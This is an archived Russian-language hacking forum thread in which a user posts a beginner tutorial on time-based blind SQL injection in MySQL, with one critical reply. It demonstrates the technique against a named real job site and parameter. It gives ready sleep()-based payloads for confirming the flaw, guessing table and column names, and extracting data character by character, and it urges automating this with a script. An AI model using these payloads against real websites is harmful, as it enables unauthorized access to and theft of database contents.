PDA

Просмотр полной версии : MySql Injection Time Based


YaBtr
16.09.2013, 17:15
Всем привет!Накидал небольшую заметку о замечательной технике раскрутки слепых SQL инъекций, так называемой Injection Time Based.

Много вопросов по данной теме, постараюсь наглядно объяснить.Многие, кто сталкиваются с данной инъекцией, в основном останавливаются на пол пути.

Данная заметка ориентирована на новичков, дабы исключить все это множество вопросов по данной теме.

Итак,многоуважаемый Dr.Z3r0 в своей статье упоминал о том, как с помощью функции sleep можно посимвольно вытаскивать данные.

Напомню, оператор sleep появился с 5 ветки MySQL. Он создает задержку в ответе веб-сервера, которую мы и используем.

Поехали! Сайт www.cornerjob.co.za/view-job.php?id=678. Уязвимый get-параметр id.

Проверяем:id=678 and sleep(5)

http://s020.radikal.ru/i723/1309/9e/ce022e93a677.jpg

В 1-ом варианте время отклика (response time) небольшое, в то время,как во 2-м случае значительно увеличивается благодаря sleep.

Далее! Опеределим версию mysql (хотя нам она уже известна, так как sleep появился с 5-ой версии). Давайте проверим

http://s020.radikal.ru/i721/1309/e9/ef1c53676c47.jpg

Точно так же работаем с user(), database():

id=678 and if(substring(user(),1,1)='a',SLEEP(5),1)

Пару слов о таблицах и колонках:

id=678 and if(substring((select 1 from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где[table_name] - предполагаемое Вами название таблицы.

Если вернется ЛОЖЬ, то ответ сервера будет 0 секунд (все зависит от Вашего канала) и такой таблицы нет.

Если же ИСТИНА, и такая таблица существует, то ответ будет с задержкой в 5 секунд (и более).

С колонками все идентично:

id=678 and if(substring((select substring(concat(1,[column_name]),1,1) from [table_name] limit 0,1),1,1)=1,SLEEP(5),1), где[column_name] - предполагаемое Вами название колонки.

И, наконец, достаем данные:

id=678 and if((select mid(column_name,1,1) from table_name limit 0,1)='a',sleep(5),1)

Как только поймете, как это работает - написать скрипт, автоматизирующий данный процесс, не составит труда.

Всем добра

С уважением,YaBtr!

Данная заметка предназначена для использования сугубо в учебных целях. Автор не несет ответственности за использование материала в незаконных целях.

Администрация ресурса была уведомлена о данной уязвимости.

BigBear
16.09.2013, 18:32
Прости, дружище, но это боян.

Если ты заметил - я пытался рассмотреть эту технику в своём видео.

И столкнулся с тем, что простой бинарный поиск и так все умеют делать, рассказывать там нечего.

И да, если MQ on то твоя техника уже не рулит, пишешь не универсальную методику. Это плохо. Постарайся всё предусмотреть.